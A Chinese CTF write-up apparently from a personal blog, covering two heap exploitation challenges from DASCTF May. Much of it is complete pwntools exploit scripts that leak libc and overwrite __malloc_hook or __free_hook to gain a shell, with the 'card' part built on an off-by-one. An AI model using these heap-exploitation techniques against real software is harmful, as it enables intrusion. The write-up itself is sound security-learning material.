DASCTF-MAY pwn wp

两道题都比较中规中矩,第二个比第一个还简单,第一个比赛一开始想歪了,做了很jb久,第二个十几分钟就出了

ticket

一个比较典型的堆菜单题目

分析

逆向的话倒是不难,直接看漏洞,首先是free中,一眼看过去发现这不就是uaf么,free的是指针,本应该清空指针和size,却只清空了size

但是后期调试的时候发现并不是这样的,因为所有的edit和show功能都是根据size来判断的,也就是相当于清空了指针,这个地方并不存在uaf

然后又仔细一看,发现真正的漏洞其实在这。

free的时候没有判断index小于0的情况,也就是说我们可以以bss中的存放堆指针的位置为坐标原点,向之前的地址进行free,突然联想到了之前让输入姓名,可能就是给我们伪造堆地址创造了条件,我们进入gdb来查看他们是如何分布的。


发现这不就在堆指针的上方么,所以很自然的思路就出来了,就是向前free,用之前能够输入的age当做堆指针,指向一个伪造的chunk,这个伪造的chunk可以由我们来构造堆块的size来决定。

如下部分exp

# 首先是先泄露出来libc地址,这个简单,free unsorted bin后再取回来就可以了
fillInfo("aaaa", "bbbb", 0x20)

add(2, 0xd0)
add(3, 0x21)
free(2)
add(0, 0x60)
show(0)
__malloc_hook = u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) - 296 - 0x10
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
success("LIBC BASE ===> " + hex(libc_base))
free(0)

然后是本题的精华

add(1, 0x21)
add(5, 0x21)
edit_info("aaaa", "bbbb", 0x6020e0)
# free(-3)

效果是这样的

然后free(-3),那个伪造的chunk就进入到bin里了

然后申请回来,改size为0的话可以获得真正uaf的能力,后面就简单了

exp

from pwn import *

local = 1

binary = "./ticket"
libc_path = './libc-2.23.so'
port = 26007

if local == 1:
p = process(binary)
else:
p = remote('node3.buuoj.cn', 27113)


def dbg():
context.log_level = 'debug'


context.terminal = ['tmux', 'splitw', '-h']


def fillInfo(name, say, age):
p.sendafter("Your name:", name)
p.sendafter("what do you want to say before take off(wu hu qi fei):", say)
p.sendafter("Your age:", str(age))


def add(index, size):
p.sendlineafter('>>', '1')
p.sendlineafter("Index:", str(index))
p.sendlineafter('Remarks size:', str(size))


def free(index):
p.sendlineafter('>>', '2')
p.sendlineafter('Index:', str(index))


def show(index):
p.sendlineafter('>>', '4')
p.sendlineafter('Index:', str(index))


def edit(index, content):
p.sendlineafter('>>', '3')
p.sendlineafter('Index:', str(index))
p.sendafter('Your remarks:', content)


def edit_info(name, say, age):
p.sendlineafter('>>', '5')
fillInfo(name, say, age)


def show_info():
p.sendlineafter('>>', '6')


libc = ELF(libc_path)

fillInfo("aaaa", "bbbb", 0x20)

add(2, 0xd0)
add(3, 0x21)
free(2)
add(0, 0x60)
show(0)
__malloc_hook = u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) - 296 - 0x10
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
success("LIBC BASE ===> " + hex(libc_base))
free(0)

add(1, 0x21)
add(5, 0x21)
edit_info("aaaa", "bbbb", 0x6020e0)
free(-3)

add(0, 0x10)
edit(0, p64(0x70) + p64(0x0))
edit(2, p64(__malloc_hook - 0x23))
add(4, 0x60)
add(3, 0x60)
og = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
edit(3, b'\x00' * 0x13 + p64(og[3] + libc_base))
edit(0, p64(0x70) + p64(0x0))


# gdb.attach(p)
p.interactive()

card

分析


漏洞点在于这个地方,edit的时候直接用size就好了,这里偏偏加了一个v1,明显是有漏洞,然后我们进入overflow函数看看


进行了一些列蜜汁操作,看不懂问题不大,反正就是这么个逻辑,这个函数的返回值加上size作为edit的size,那么只要这个函数的返回值是1,那么就相当于溢出了一个字节呗

写个脚本来看看,直接用那个overflow的逻辑,稍微改改就行了,如果返回值不是0,那么就输出,看看哪些size是可用的

size = []
for i in range(257):
if ((((((i >> 31) >> 28) + i) & 0xF) - ((i >> 31) >> 28)) >> 3):
size.append(hex(i))
print(len(size))
print(size)

那就直接用0x?8的地址就可以了
所以这道题就转变为了libc-2.27下的off-by-one
(libc版本为GLIBC 2.27-3ubuntu1,尚无key机制,不过这道题好像也无需关心这一点)

exp

from pwn import *

local = 0

binary = './pwn'
libc_path = './libc.so'
port = 29844

if local == 1:
p = process(binary)
else:
p = remote('node3.buuoj.cn', port)

context.terminal = ['tmux', 'splitw', '-h']

libc = ELF(libc_path)

def dbg():
context.log_level = 'debug'


def add(index, size, content):
p.sendlineafter('choice:', '1')
p.sendlineafter('please choice your card:', str(index))
p.sendlineafter("Infuse power:", str(size))
p.sendafter('quickly!', content)


def edit(index, content):
p.sendlineafter('choice:', '2')
p.sendlineafter('please choice your card', str(index))
p.sendafter('start your bomb show', content)


def free(index):
p.sendlineafter('choice:', '3')
p.sendlineafter('Which card:', str(index))


def show(index):
p.sendlineafter('choice:', '4')
p.sendlineafter('index:', str(index))


for i in range(8):
add(i, 0x80, 'aaaa')

for i in range(7):
free(i)


add(8, 0x10, 'cccc')
free(7)
add(0, 0x20, 'a')
show(0)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) - 289 - 0x10 - libc.sym["__malloc_hook"]
success("LIBC BASE =====> " + hex(libc_base))
free(0)

for i in range(7):
add(i, 0xe0, 'a')

for i in range(7):
free(i)

# dbg()
add(0, 0x78, 'aaaa')
add(1, 0x68, 'bbbb')
add(2, 0x78, 'cccc')

payload = 0x70 * b'a' + p64(0) + p8(0xf1)
edit(0, payload)
add(3, 0x90, '/bin/sh\x00')
edit(2, b'\x00' * 0x70 + p64(0xf0))

free(1)
add(4, 0x68, 'dddd')
add(5, 0x78, 'eeee')

free(2)
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym["system"]
edit(5, p64(__free_hook))

add(6, 0x70, "HACKER")
add(7, 0x70, p64(system))
free(3)

# gdb.attach(p)
p.interactive()

'''
['0x8', '0x9', '0xa', '0xb', '0xc', '0xd', '0xe', '0xf',
'0x18', '0x19', '0x1a', '0x1b', '0x1c', '0x1d', '0x1e',
'0x1f', '0x28', '0x29', '0x2a', '0x2b', '0x2c', '0x2d',
'0x2e', '0x2f', '0x38', '0x39', '0x3a', '0x3b', '0x3c',
'0x3d', '0x3e', '0x3f', '0x48', '0x49', '0x4a', '0x4b',
'0x4c', '0x4d', '0x4e', '0x4f', '0x58', '0x59', '0x5a',
'0x5b', '0x5c', '0x5d', '0x5e', '0x5f', '0x68', '0x69',
'0x6a', '0x6b', '0x6c', '0x6d', '0x6e', '0x6f', '0x78',
'0x79', '0x7a', '0x7b', '0x7c', '0x7d', '0x7e', '0x7f',
'0x88', '0x89', '0x8a', '0x8b', '0x8c', '0x8d', '0x8e',
'0x8f', '0x98', '0x99', '0x9a', '0x9b', '0x9c', '0x9d',
'0x9e', '0x9f', '0xa8', '0xa9', '0xaa', '0xab', '0xac',
'0xad', '0xae', '0xaf', '0xb8', '0xb9', '0xba', '0xbb',
'0xbc', '0xbd', '0xbe', '0xbf', '0xc8', '0xc9', '0xca',
'0xcb', '0xcc', '0xcd', '0xce', '0xcf', '0xd8', '0xd9',
'0xda', '0xdb', '0xdc', '0xdd', '0xde', '0xdf', '0xe8',
'0xe9', '0xea', '0xeb', '0xec', '0xed', '0xee', '0xef',
'0xf8', '0xf9', '0xfa', '0xfb', '0xfc', '0xfd', '0xfe',
'0xff']
'''
文章作者: Alex
文章链接: http://example.com/2021/06/05/DASCTF-MAY/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~